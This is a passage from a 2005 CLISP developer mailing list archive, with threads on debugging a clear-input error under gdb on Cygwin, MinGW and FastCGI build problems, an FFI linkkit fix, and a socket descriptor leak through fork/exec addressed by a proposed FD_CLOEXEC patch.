          if (!flag) { flag = true; OS_error(); }
        }
      }
    #endif

OS_error(), I think.

I don't know what "local" is, but I tried setting a breakpoint within 
gdb at stream.d:3408:

$ gdb ./lisp.exe
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Breakpoint 2 at 0x42637a: file eval.d, line 4020.
Breakpoint 3 at 0x422c19: file eval.d, line 2882.
Breakpoint 4 at 0x42a51a: file eval.d, line 5905.
Breakpoint 5 at 0x40c156: file spvw_garcol.d, line 2430.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0x40f8ae: file spvw.d, line 657.
Breakpoint 8 at 0x403d33: file spvw.d, line 479.
Breakpoint 9 at 0x403ddb: file spvw.d, line 494.
Breakpoint 10 at 0x4ddeca: file error.d, line 349.
Breakpoint 11 at 0x4dde5c: file error.d, line 326.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x00428a02 in funcall at eval.d:4937
        xout fun
2   breakpoint     keep n   0x0042637a in apply at eval.d:4020
        xout fun
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        xout form
4   breakpoint     keep n   0x0042a51a in interpret_bytecode_ at eval.d:5905
        xout closure
5   breakpoint     keep n   0x0040c156 in gar_col at spvw_garcol.d:2430
6   hw watchpoint  keep n              back_trace
        zbacktrace
        continue
7   breakpoint     keep y   0x0040f8ae in fehler_notreached at spvw.d:657
8   breakpoint     keep y   0x00403d33 in SP_ueber at spvw.d:479
9   breakpoint     keep y   0x00403ddb in STACK_ueber at spvw.d:494
10  breakpoint     keep y   0x004ddeca in fehler at error.d:349
11  breakpoint     keep y   0x004dde5c in prepare_error at error.d:326
Function "sigsegv_handler_failed" not defined.
.gdbinit:157: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) b stream.d:3408
Breakpoint 12 at 0x45be01: file stream.d, line 3408.
(gdb) boot
(gdb) run
Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B 
. -N locale -M lispinit.mem -q -norc
STACK depth: 16363
SP depth: 1073598755
[1]> (clear-input *query-io*)

NIL
[2]>

...as you can see, the breakpoint was not triggered.  That's pretty 
curious to me...

Jeremy


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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 14:07:05 -0400]:
>
> Sam Steingold wrote:
>
>>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 12:24:14 -0400]:
>>>
>>>I removed the directory and built a second time.
>>>
>>>configure:24884: checking for library containing dlopen
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>>>conftest.c  >&5
>>>/usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld:
>>>cannot open output file conftest.exe: Device or resource busy
>>>collect2: ld returned 1 exit status
>>>configure:24920: $? = 1
>>>
>>>There are several more "Device or resource busy" errors thereafter.
>>>This is probably due to the section right above it
>>>    
>>>
>>
>>check task manager and kill the "conftest.exe" process.
>>if nothing works, reboot.
>>  
>>
> conftest.exe isn't a running process, visible from the Task Manager,
> before or after ./configure.
>
> I think the problem is that the shared memory test above it (as I
> highlighted) is  but continues to stay resident.  When the dlopen family
> of tests are attempted, the linker cannot write conftest.exe because the
> conftest.exe program is still (somehow) running.
>
> If it's not running before ./configure and it's not running after
> ./configure, it must be a problem during ./configure, right?
>
> I'd love to help you nail down this problem, all I need is a little
> direction.  I'm relatively unfamiliar with autoconf.  How would you
> have me test that my hypothesis is true?

this does not appear to be a CLISP problem but a cygwin one.
thus I suggest that you do some butchery on the configure script to
produce a small reproducible test case (not necessarily in a form of a
shell script) and send it to cygwin@cygwin.com (see
http://cygwin.com/problems.html).
you might want to first make sure your cygwin is up to date.

> [stream.d:3408] *** - UNIX error 2 (ENOENT): No such file or directory

I do not observe this error.

>     begin_system_call();
>     #ifdef UNIX_TERM_TERMIOS
>       if (!( TCFLUSH(handle,TCIFLUSH) ==0)) {
>         if (!((errno==ENOTTY)||(errno==EINVAL))) { # no TTY: OK
>           local bool flag = false;
>           # report other Error, but only once
>           if (!flag) { flag = true; OS_error(); }
>         }
>       }
>     #endif
>
> OS_error(), I think.

yes.

> I don't know what "local" is

same as "static".

> $ gdb ./lisp.exe
> (gdb) b stream.d:3408
> Breakpoint 12 at 0x45be01: file stream.d, line 3408.

please try "br clear_tty_input" instead

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Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 14:07:05 -0400]:
>>
>>Sam Steingold wrote:
>>
>>    
>>
>>>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 12:24:14 -0400]:
>>>>
>>>>I removed the directory and built a second time.
>>>>
>>>>configure:24884: checking for library containing dlopen
>>>>configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include
>>>>conftest.c  >&5
>>>>/usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld:
>>>>cannot open output file conftest.exe: Device or resource busy
>>>>collect2: ld returned 1 exit status
>>>>configure:24920: $? = 1
>>>>
>>>>There are several more "Device or resource busy" errors thereafter.
>>>>This is probably due to the section right above it
>>>>   
>>>>
>>>>        
>>>>
>>>check task manager and kill the "conftest.exe" process.
>>>if nothing works, reboot.
>>> 
>>>
>>>      
>>>
>>conftest.exe isn't a running process, visible from the Task Manager,
>>before or after ./configure.
>>
>>I think the problem is that the shared memory test above it (as I
>>highlighted) is  but continues to stay resident.  When the dlopen family
>>of tests are attempted, the linker cannot write conftest.exe because the
>>conftest.exe program is still (somehow) running.
>>
>>If it's not running before ./configure and it's not running after
>>./configure, it must be a problem during ./configure, right?
>>
>>I'd love to help you nail down this problem, all I need is a little
>>direction.  I'm relatively unfamiliar with autoconf.  How would you
>>have me test that my hypothesis is true?
>>    
>>
>
>this does not appear to be a CLISP problem but a cygwin one.
>thus I suggest that you do some butchery on the configure script to
>produce a small reproducible test case (not necessarily in a form of a
>shell script) and send it to cygwin@cygwin.com (see
>http://cygwin.com/problems.html).
>you might want to first make sure your cygwin is up to date.
>  
>
Cygwin is thoroughly up to date.  I'll attempt to reproduce this, though 
I have little clue how at this point.

>>[stream.d:3408] *** - UNIX error 2 (ENOENT): No such file or directory
>>    
>>
>
>I do not observe this error.
>  
>
Bummer.

>>$ gdb ./lisp.exe
>>(gdb) b stream.d:3408
>>Breakpoint 12 at 0x45be01: file stream.d, line 3408.
>>    
>>
>
>please try "br clear_tty_input" instead
>  
>
I did.  The breakpoint was correctly reported to be set at 
stream.d:34040, but not tripped from within GDB when telling Lisp to 
(clear-input *query-io*)  I think it is likely that this has something 
to do with the way GDB hooks to stdin, it must not be calling the tty 
functions in that case.

Jeremy


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Hi,

    I'm using clisp-2.34 on WinXP and I am trying to use the linkkit. I=20
have used the example from the CLISP FFI HOWTO=20
(http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html) but when I=20
issue the command:

clisp-link add-module-set vector-module /c/clisp/base base+vector

    I get the following error message:

In file included from vector-interface.c:1:
c:/clisp/linkkit/clisp.h:483: warning: register used for two global=20
register variables
vector-interface.c: In function `module__vector_interface__init_function_=
2':
vector-interface.c:27: error: `dot_product' undeclared (first use in=20
this function)
vector-interface.c:27: error: (Each undeclared identifier is reported=20
only once
vector-interface.c:27: error: for each function it appears in.)
make: *** [vector-interface.o] Error 1

    Analyzing the C source code generated by CLISP for the line=20
specified by the compiler, I see that the pointer for the function=20
dot_product is really not declared in the code generated by CLISP. Why=20
this is not working ?! Am I doing something wrong ?!

    Cheers,
    Andr=E9


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> * Andr=C3=A9 Vargas Abs da Cruz <naqeri@ryr.chp-evb.oe> [2005-08-16 16:16=
:00 -0300]:
>
>     (http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html)

this needs to be updated from 2.28 to 2.34.

>     Analyzing the C source code generated by CLISP for the line
>     specified by the compiler, I see that the pointer for the function
>     dot_product is really not declared in the code generated by
>     CLISP. Why this is not working ?! Am I doing something wrong ?!

<http://clisp.cons.org/impnotes/dffi.html#ffi-extern-output>
either
(setq FFI:*OUTPUT-C-FUNCTIONS* t)
or
(c-lines "#include ...")

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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 14:44:37 -0400]:
>
>>>$ gdb ./lisp.exe
>>>(gdb) b stream.d:3408
>>>Breakpoint 12 at 0x45be01: file stream.d, line 3408.
>>>    
>>>
>>
>>please try "br clear_tty_input" instead
>>  
>>
> I did.  The breakpoint was correctly reported to be set at
> stream.d:34040, but not tripped from within GDB when telling Lisp to
> (clear-input *query-io*) I think it is likely that this has something
> to do with the way GDB hooks to stdin, it must not be calling the tty
> functions in that case.

"br C_clear_input" and step through.

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Date: Tue Aug 16 13:16:04 2005
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Sam Steingold wrote:

>>* Andr=C3=A9 Vargas Abs da Cruz <naqeri@ryr.chp-evb.oe> [2005-08-16 16:=
16:00 -0300]:
>>
>>    (http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html)
>>   =20
>>
>
>this needs to be updated from 2.28 to 2.34.
>
> =20
>
>>    Analyzing the C source code generated by CLISP for the line
>>    specified by the compiler, I see that the pointer for the function
>>    dot_product is really not declared in the code generated by
>>    CLISP. Why this is not working ?! Am I doing something wrong ?!
>>   =20
>>
>
><http://clisp.cons.org/impnotes/dffi.html#ffi-extern-output>
>either
>(setq FFI:*OUTPUT-C-FUNCTIONS* t)
>or
>(c-lines "#include ...")
>
> =20
>
Thanks !!! It compiled just fine !!!


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Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 14:44:37 -0400]:
>>
>>    
>>
>>>>$ gdb ./lisp.exe
>>>>(gdb) b stream.d:3408
>>>>Breakpoint 12 at 0x45be01: file stream.d, line 3408.
>>>>   
>>>>
>>>>        
>>>>
>>>please try "br clear_tty_input" instead
>>> 
>>>
>>>      
>>>
>>I did.  The breakpoint was correctly reported to be set at
>>stream.d:34040, but not tripped from within GDB when telling Lisp to
>>(clear-input *query-io*) I think it is likely that this has something
>>to do with the way GDB hooks to stdin, it must not be calling the tty
>>functions in that case.
>>    
>>
>
>"br C_clear_input" and step through.
>
>  
>
I stepped through.  This was what happened:

http://www.crazilocks.com/typescript

What would you like me to step into?  What do you want me to watch?

Jeremy


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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 16:21:50 -0400]:
>
>>"br C_clear_input" and step through.
>>
> I stepped through.  This was what happened:
> http://www.crazilocks.com/typescript

thanks.
"br clear_input"
see which "clear_input_*()" function is called.
step into it.
see which syscall is invoked.

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Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 16:21:50 -0400]:
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>>    
>>
>>>"br C_clear_input" and step through.
>>>
>>>      
>>>
>>I stepped through.  This was what happened:
>>http://www.crazilocks.com/typescript
>>    
>>
>
>thanks.
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>step into it.
>see which syscall is invoked.
>
>  
>
As near as I can tell the chain goes:

clear_input
clear_input_synonym
clear_input
clear_input_unbuffered

After that rewinds back out, C_clear_input is called???

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Jeremy


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Is there directions for building clisp on OS X?
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> * steve morin <fgrir.zbeva@tznvy.pbz> [2005-08-16 18:18:44 -0400]:
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> Is there directions for building clisp on OS X?

clisp/unix/INSTALL
clisp/unix/PLATFORMS

in short:
$ ./configure --build build


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> * Jeremy Shute <fuhgrw@penmvybpxf.pbz> [2005-08-16 18:13:22 -0400]:
>
> clear_input
> clear_input_synonym
> clear_input
> clear_input_unbuffered

the meat is in

UnbufferedStreamLow_clear_input(stream)(stream);

step into it and see where it gets you.

> You can check out my progress in http://www.crazilocks.com/typescript

it is offered as "application/octet-stream".
could you please make that text/plain?

thanks!

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Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@penmvybpxf.pbz> [2005-08-16 18:13:22 -0400]:
>>
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>step into it and see where it gets you.
>  
>
There's no stepping into it in the debugger, because the process never 
gets to that line.  It returns from this, instead:

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    return false; # it's a file -> nothing to do

It's a file when lisp.exe is run under GDB, we return false.  The 
UnbufferedStreamLow_clear_input macro line is never reached.

Remember, I can't actually get the thing to CRASH under GDB.  It only 
crashes when I run lisp from the terminal.  This is probably why the 
program acts differently between the debugger and the terminal: you're 
expecting it to call UnbufferedStreamLow_clear_input and it isn't.

>>You can check out my progress in http://www.crazilocks.com/typescript
>>    
>>
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>it is offered as "application/octet-stream".
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>
Yes, the next typescript I send will be in text/plain, I will make sure 
of it.

Jeremy


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Hi (again),

Frustrated by the idea that clisp could be breaking because of an issue 
in Cygwin, I have tried to build it with MinGW/MSYS, instead.  That 
would be a more optimal solution under Windows, anyway (as I have found 
the FastCGI DevPack for MinGW).

A lean installation was first attempted with the command:

./configure --with-mingw --build build-w32-lean

I tried with the 2.34 release and got these results:
  http://www.crazilocks.com/build-w32-lean.2.34.txt

I also tried with the CVS head release and got these results:
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This was with the most recent release of MinGW and MSYS (4.1.1 and 
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What SHOULD I be doing, if not this?

Jeremy


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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-17 09:44:00 -0400]:
>
> Frustrated by the idea that clisp could be breaking because of an
> issue in Cygwin, I have tried to build it with MinGW/MSYS, instead.
> That would be a more optimal solution under Windows, anyway (as I have
> found the FastCGI DevPack for MinGW).

indeed!

> A lean installation was first attempted with the command:
>
> ./configure --with-mingw --build build-w32-lean
>
> I tried with the 2.34 release and got these results:
>   http://www.crazilocks.com/build-w32-lean.2.34.txt

note that the boot linking set was successfully built!
you can try
$ ./lisp.exe -M lispinit.mem ...
or
$ make boot clisp
$ ./clisp -K boot

now, the error starts at

gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c
In file included from lispbibl.d:2042,
                 from genclisph.d:7:
win32.d:67:1: warning: "HAVE_STRERROR" redefined
In file included from lispbibl.d:322,
                 from genclisph.d:7:
unixconf.h:364:1: warning: this is the location of the previous definition
In file included from genclisph.d:7:
lispbibl.d:9610: warning: register used for two global register variables
In file included from genclisph.d:212:
lispbibl.d: In function `main':
lispbibl.d:2: error: `Main' undeclared (first use in this function)
lispbibl.d:2: error: (Each undeclared identifier is reported only once
lispbibl.d:2: error: for each function it appears in.)
lispbibl.d:2: error: syntax error before "include"
In file included from genclisph.d:212:
lispbibl.d:4:19: too many decimal points in number
lispbibl.d:6:62: invalid digit "9" in octal constant
lispbibl.d: At top level:
lispbibl.d:23: error: syntax error before "on"

&c

please take a look at gen.lispbibl.c
the correct file is
<http://www.podval.org/~sds/clisp/gen.lispbibl.c>


> I also tried with the CVS head release and got these results:
>   http://www.crazilocks.com/build-w32-lean.head.txt

cd ../ && make -f Makefile.devel src/configure
make[1]: Entering directory `/home/shutej/clisp-head'
egrep '(AC_INIT|AC_PREREQ)' src/configure.in > configure.ac
cat src/configure.in modules/berkeley-db/configure.in modules/clx/new-clx/configure.in modules/dirkey/configure.in modules/fastcgi/configure.in modules/i18n/configure.in modules/oracle/configure.in modules/pari/configure.in modules/pcre/configure.in modules/postgresql/configure.in modules/rawsock/configure.in modules/regexp/configure.in modules/syscalls/configure.in modules/wildcard/configure.in modules/zlib/configure.in | egrep -v '(AC_INIT|AC_CONFIG_HEADER|AC_OUTPUT|AC_CONFIG_FILE.*(Makefile|link\.sh)|_CANONICAL_|AC_PREREQ)' >> configure.ac
echo AC_OUTPUT >> configure.ac
aclocal -I `pwd`/src/m4 --output=src/autoconf/aclocal.m4
/bin/sh: aclocal: command not found
make[1]: *** [src/autoconf/aclocal.m4] Error 127
make[1]: Leaving directory `/home/shutej/clisp-head'
make: *** [../src/configure] Error 2

see <http://clisp.cons.org/faq.html#autoconf>

> This was with the most recent release of MinGW and MSYS (4.1.1 and
> 1.0.10, respectively).
>
> What SHOULD I be doing, if not this?

discard MinGW and MSYS.  use cygwin and mingw that comes with cygwin.
I could never get MSYS/MinGW to work for me
- if you can, please send patches.

under cygwin bash, do
(make sure "gcc -mno-cygwin" can find fastcgi headers and libraries)
$ ./configure --with-mingw --with-module=fastcgi --build build-w32

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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-17 09:11:16 -0400]:
>
> It returns from this, instead:
>
>   if (nullp(TheStream(stream)->strm_isatty))
>     return false; # it's a file -> nothing to do

I see - so under gdb stdio is not a tty
(i.e., isatty() returns 0, see stream.d:7725)

looks like strace is the last option.

1. start clisp in a cygwin window under bash
2. find out PID of lisp.exe
3. run "strace -p PID_of_LISP.EXE" in another bash window
4. type (clear-input *query-io*) in clisp
5. watch the strace output.

please do not despair.
all these issues are really minor and should not spoil your clisp
experience.
(it would be nice to track them down though)


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This might be a stupid question but...
Trying to log into cvs using password:anonymous
                cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/clisp login

I keep getting
cvs [login aborted]: authorization failed: server cvs.sf.net rejected acces=
s

Am I doing something wrong?
Steve

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> > Is there directions for building clisp on OS X?
>=20
> clisp/unix/INSTALL
> clisp/unix/PLATFORMS
>=20
> in short:
> $ ./configure --build build
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> * steve morin <fgrir.zbeva@tznvy.pbz> [2005-08-17 11:26:38 -0400]:
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> This might be a stupid question but...
> Trying to log into cvs using password:anonymous

<http://sourceforge.net/cvs/?group_id=1355>
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>>This was with the most recent release of MinGW and MSYS (4.1.1 and
>>1.0.10, respectively).
>>
>>What SHOULD I be doing, if not this?
>>    
>>
>
>discard MinGW and MSYS.  use cygwin and mingw that comes with cygwin.
>I could never get MSYS/MinGW to work for me
>- if you can, please send patches.
>
>under cygwin bash, do
>(make sure "gcc -mno-cygwin" can find fastcgi headers and libraries)
>$ ./configure --with-mingw --with-module=fastcgi --build build-w32
>
>  
>
OK, after performing some surgery I have successfully built CLISP with 
FastCGI support under Cygwin in MinGW mode.

This is what had to be done:

_ In fastcgi_wrapper.c, I had to ``#include <stdlib.h>'' near ``#include 
<process.h>'' in order to get the environ macros.  This is probably 
MinGW specific but it wouldn't hurt to have an extra include for normal 
WIN32 builds.
_ I had to download the FastCGI MinGW Devpack and copy the ``include'' 
files to ``/usr/local/include'', the ``lib'' files to 
``/usr/local/lib'', and the ``fcgi.dll'' to ``C:\WINDOWS\System32''.
_ I configured libsigsegv by ``CC="gcc -mno-cygwin" ./configure'' and 
installed it.
_ I then built using the instructions above.

I am highly content with this solution.  I made the distribution, stuck 
in fcgi.dll, and checked that *features* included :FASTCGI.  Looks good 
to me.

I'm now off to try to string together some combination of Apache, 
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Jeremy


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Hi Sam,

>it might be that the underlying libc sockets behave differently
>depending on the number of sockets that the program has opened.
>also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM)
>results in the "same" socket being "available" to both processes, thus
>they might be treated differently wrt flush &c.
>the above is just my WAGs, please CMIIAM.
>  
>
This seems to be the problem. See my example below.

>  
>
>>(defun forcibly-close-stream (s)
>>  (socket:socket-status s)
>>    
>>
>
>why not just LISTEN?
>  
>
I don't know. It's code from Araneida and I didn't write it.

Anyway, here is the smallest example I could come up with:

(defparameter *io-streams* nil)
(defparameter *server* nil)

(defun foo ()
  (setq *server* (socket:socket-server 22224))
  (socket:socket-wait *server*)
  (let ((connection (socket:socket-accept *server*)))
    (print connection)
    (setq *io-streams* (multiple-value-list (ext:make-pipe-io-stream 
"cat")))
      (close connection)))

(defun bar ()
  (mapcar #'close *io-streams*)
  (socket:socket-server-close *server*))

Load this file, then do:

nc localhost 22224

or

telnet localhost 22224.

You will see that FOO returns and presumably calls CLOSE on CONNECTION. 
But the connection isn't closed and telnet and nc don't quit. Netstat 
confirms that the connection isn't closed. As soon as you call BAR, the 
connection is closed.

Using lsof I found that cat, the program I launched, has both the server 
socket and the connection socket open.

So what can I do? In my original program I found through experiments 
that calling SOCKET-STREAM-SHUTDOWN helps, but if I try this with the 
example code above I end up in the debugger with:

UNIX error 9 (EBADF): Bad file number

   [Condition of type SYSTEM::SIMPLE-OS-ERROR]


Thanks,
Kai


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Hi Kai,

> * Kai Kaminski <xnv.xnzvafxv@tznvy.pbz> [2005-08-17 20:16:25 +0200]:
>
>>it might be that the underlying libc sockets behave differently
>>depending on the number of sockets that the program has opened.
>>also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM)
>>results in the "same" socket being "available" to both processes, thus
>>they might be treated differently wrt flush &c.
>>the above is just my WAGs, please CMIIAM.
>
> This seems to be the problem. See my example below.

<http://www.opengroup.org/onlinepubs/009695399/functions/fork.html>
        The child process shall have its own copy of the parent's file
        descriptors. Each of the child's file descriptors shall refer to
        the same open file description with the corresponding file
        descriptor of the parent.

this means that we must set FD_CLOEXEC for all sockets we create.
please try the appended patch.

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--- socket.d	21 Jun 2005 09:40:22 -0400	1.97
+++ socket.d	18 Aug 2005 16:55:55 -0400	
@@ -858,6 +858,10 @@
   /* Get a socket. */
   if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET)
     return INVALID_SOCKET;
+ #ifndef WIN32
+  /* Set close-on-exec so that we won't get confused if we fork(). */
+  fcntl(fd,F_SETFD,FD_CLOEXEC);
+ #endif
   /* Set an option for the next bind() call: Avoid an EADDRINUSE error
      in case there are TIME_WAIT or CLOSE_WAIT sockets hanging around on
      the port. (Sockets in LISTEN or ESTABLISHED state on the same port
@@ -939,6 +943,10 @@
   var SOCKET fd;
   if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET)
     return INVALID_SOCKET;
+ #ifndef WIN32
+  /* Set close-on-exec so that we won't get confused if we fork(). */
+  fcntl(fd,F_SETFD,FD_CLOEXEC);
+ #endif
  #if defined(FIONBIO) && (defined(HAVE_SELECT) || defined(WIN32_NATIVE))
   if (timeout) {
     var unsigned long non_blocking_io = 1;


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Sam Steingold <sds@gnu.org> writes:

> Hi Kai,
>
>> * Kai Kaminski <xnv.xnzvafxv@tznvy.pbz> [2005-08-17 20:16:25 +0200]:
>>
>>>it might be that the underlying libc sockets behave differently
>>>depending on the number of sockets that the program has opened.
>>>also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM)
>>>results in the "same" socket being "available" to both processes, thus
>>>they might be treated differently wrt flush &c.
>>>the above is just my WAGs, please CMIIAM.
>>
>> This seems to be the problem. See my example below.
>
> <http://www.opengroup.org/onlinepubs/009695399/functions/fork.html>
>         The child process shall have its own copy of the parent's file
>         descriptors. Each of the child's file descriptors shall refer to
>         the same open file description with the corresponding file
>         descriptor of the parent.
>
> this means that we must set FD_CLOEXEC for all sockets we create.
> please try the appended patch.

I'm not sure I have all the context, but this seems like the wrong
fix.  This sounds like it has nothing to do with sockets in
particular, but applies to any file handle.  E.g., there's already a
such a band-aid in place in connect_to_x_server.  If you add this
band-aid now, someone will complain about some other kind of handles
in the future.

IMHO, the right way to fix this is for clisp to close all file
descriptors, except for those it wants to pass on to the child
process, in between the point where it calls fork() and exec().

See, e.g., the g_spawn* functions in GTK, which does that unless you
pass an option stating to leave the descriptors open.  Most daemons
that fork/exec children also do something similar, to ensure they
don't leak file descriptors into different security domains.  (You can
see that by stracing a daemon.)

As a temporary workaround, it sounds like the OP could create his
long-lived pipe-io-stream before starting to listen for connections,
preventing the socket handle(s) from being inherited.

-- 
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Hi Todd,
I glad you finally chimed in!

> * Todd Sabin <gfnova@bcgbayvar.arg> [2005-08-18 18:13:48 -0400]:
>
>> <http://www.opengroup.org/onlinepubs/009695399/functions/fork.html>
>>         The child process shall have its own copy of the parent's file
>>         descriptors. Each of the child's file descriptors shall refer to
>>         the same open file description with the corresponding file
>>         descriptor of the parent.
>>
>> this means that we must set FD_CLOEXEC for all sockets we create.
>> please try the appended patch.
>
> I'm not sure I have all the context, but this seems like the wrong
> fix.  This sounds like it has nothing to do with sockets in
> particular, but applies to any file handle.  E.g., there's already a
> such a band-aid in place in connect_to_x_server.  If you add this
> band-aid now, someone will complain about some other kind of handles
> in the future.

so why not do that for all the handles CLISP creates?

> IMHO, the right way to fix this is for clisp to close all file
> descriptors, except for those it wants to pass on to the child
> process, in between the point where it calls fork() and exec().

this means that CLISP must keep track of all the handles it creates,
including the raw sockets in modules &c.

how is this better than setting FD_CLOEXEC for all sockets and file streams?

(is it possible to make FD_CLOEXEC the default for all new FDs?)

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Date: Thu Aug 18 15:42:27 2005
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Todd Sabin <tsabin@optonline.net> writes:

> As a temporary workaround, it sounds like the OP could create his
> long-lived pipe-io-stream before starting to listen for connections,
> preventing the socket handle(s) from being inherited.
That is what I do now, but it is suboptimal. Depending on the data I
receive over the socket I would like to create more long-lived
pipe-io-streams.

Kai


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Date: Thu Aug 18 17:34:31 2005
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Sam Steingold <sds@gnu.org> writes:

>> * Todd Sabin <gfnova@bcgbayvar.arg> [2005-08-18 18:13:48 -0400]:
>>
>>> <http://www.opengroup.org/onlinepubs/009695399/functions/fork.html>
>>>         The child process shall have its own copy of the parent's file
>>>         descriptors. Each of the child's file descriptors shall refer to
>>>         the same open file description with the corresponding file
>>>         descriptor of the parent.
>>>
>>> this means that we must set FD_CLOEXEC for all sockets we create.
>>> please try the appended patch.
>>
>> I'm not sure I have all the context, but this seems like the wrong
>> fix.  This sounds like it has nothing to do with sockets in
>> particular, but applies to any file handle.  E.g., there's already a
>> such a band-aid in place in connect_to_x_server.  If you add this
>> band-aid now, someone will complain about some other kind of handles
>> in the future.
>
> so why not do that for all the handles CLISP creates?

What about handles that are created by directly calling posix apis, or
handles that might be created by third party C libraries, or anything
else?  It seems intractable to try to catch them all.

And there's also the flip side.  What if an application wants to use
fork directly, and wants the handles to be inherited?

>> IMHO, the right way to fix this is for clisp to close all file
>> descriptors, except for those it wants to pass on to the child
>> process, in between the point where it calls fork() and exec().
>
> this means that CLISP must keep track of all the handles it creates,
> including the raw sockets in modules &c.
>
> how is this better than setting FD_CLOEXEC for all sockets and file streams?

Well, you don't really have to keep track.  IIUC, what's typically
done is to loop from 3 to sysconf (_SC_OPEN_MAX), calling close(2) on
every possible handle.

> (is it possible to make FD_CLOEXEC the default for all new FDs?)

Don't know.

-- 
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Date: Thu Aug 18 20:04:24 2005
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Surendra Singhi <efuzzyone@netscape.net> writes:

>  I did some further investigation into my problem, and it
> is really behaving weirdly. I will summarize the behavior below:
>
> [1] If I load the file once, execute, then I am shown the repl prompt, but any input
> makes lisp crash.
>
> [2]When I load the file twice (will show a warning), execute, then repl works for
> correct input, but lisp crashes with invalid input.
>
> [3] Load the file once, make a mistake so that lisp shows an error message,
> then execute, things work as expected, for near about 10-12 times, but after
> that lisp crashes.
>
> [4]When I just run the repl, no problem whatsoever.
>
I tried using gdb, but the only progress which I have been able to make
is getting this error message.

"Program exited with code 030000000005."

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Todd,
did you try the new rawsock module?
what is missing there?
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> * Todd Sabin <gfnova@bcgbayvar.arg> [2005-08-18 20:26:27 -0400]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>>> * Todd Sabin <gfnova@bcgbayvar.arg> [2005-08-18 18:13:48 -0400]:
>>>
>>>> <http://www.opengroup.org/onlinepubs/009695399/functions/fork.html>
>>>>         The child process shall have its own copy of the parent's file
>>>>         descriptors. Each of the child's file descriptors shall refer to
>>>>         the same open file description with the corresponding file
>>>>         descriptor of the parent.
>>>>
>>>> this means that we must set FD_CLOEXEC for all sockets we create.
>>>> please try the appended patch.
>>>
>>> I'm not sure I have all the context, but this seems like the wrong
>>> fix.  This sounds like it has nothing to do with sockets in
>>> particular, but applies to any file handle.  E.g., there's already a
>>> such a band-aid in place in connect_to_x_server.  If you add this
>>> band-aid now, someone will complain about some other kind of handles
>>> in the future.
>>
>> so why not do that for all the handles CLISP creates?
>
> What about handles that are created by directly calling posix apis, or
> handles that might be created by third party C libraries, or anything
> else?  It seems intractable to try to catch them all.

No, but we can close _our_ handles and warn the user about _his_ handles.

> And there's also the flip side.  What if an application wants to use
> fork directly, and wants the handles to be inherited?

how often does this happen?

>>> IMHO, the right way to fix this is for clisp to close all file
>>> descriptors, except for those it wants to pass on to the child
>>> process, in between the point where it calls fork() and exec().
>>
>> this means that CLISP must keep track of all the handles it creates,
>> including the raw sockets in modules &c.
>>
>> how is this better than setting FD_CLOEXEC for all sockets and file streams?
>
> Well, you don't really have to keep track.  IIUC, what's typically
> done is to loop from 3 to sysconf (_SC_OPEN_MAX), calling close(2) on
> every possible handle.

Interesting.  Do people really do that?!

Let me summarize:

sometimes file descriptors inherited by sub-processes are harmful.
          e.g.: normal combination of CLISP socket&pipe functions
sometimes the user wants that behavior.
          e.g.: create a raw socket and pass it to a forked user program

file descriptors come from 2 sources:
 1. controlled by us: CLISP file/pipe/socket functions
 2. not controlled by us: user-defined C module functions
        e.g., rawsock, berkeley-db, oracle, matlab probably create FDs.

sub-processes come from 2 sources:
 1. controlled by us: CLISP pipe/exec functions
 2. not controlled by us: user-defined C module functions
        probably extremely rare (?)

what we can do:
 1. set FD_CLOEXEC for all our FDs
 2. in pipe/exec: for(i=3; i<sysconf(_SC_OPEN_MAX);i++) close(i);
    I don't like it because this is very hard to circumvent for the user.
    how about an option to pipe/exec?
 3. both
 4. neither (like it is now - problems persist)
 5. provide an FD_CLOEXEC interface in the syscalls module
    (yeah, and then tell all the users about it...)
 6. add :CLOEXEC option to all file/pipe/socket functions
    (like we do with :EXTERNAL-FORMAT)
    what should the default be?



what do others do? (cmucl? python? perl?)



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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-08-18 02:46:44 -0700]:
>
> Surendra Singhi <efuzzyone@netscape.net> writes:
>
>>  I did some further investigation into my problem, and it
>> is really behaving weirdly. I will summarize the behavior below:
>>
>> [1] If I load the file once, execute, then I am shown the repl prompt, but any input
>> makes lisp crash.
>>
>> [2]When I load the file twice (will show a warning), execute, then repl works for
>> correct input, but lisp crashes with invalid input.
>>
>> [3] Load the file once, make a mistake so that lisp shows an error message,
>> then execute, things work as expected, for near about 10-12 times, but after
>> that lisp crashes.
>>
>> [4]When I just run the repl, no problem whatsoever.
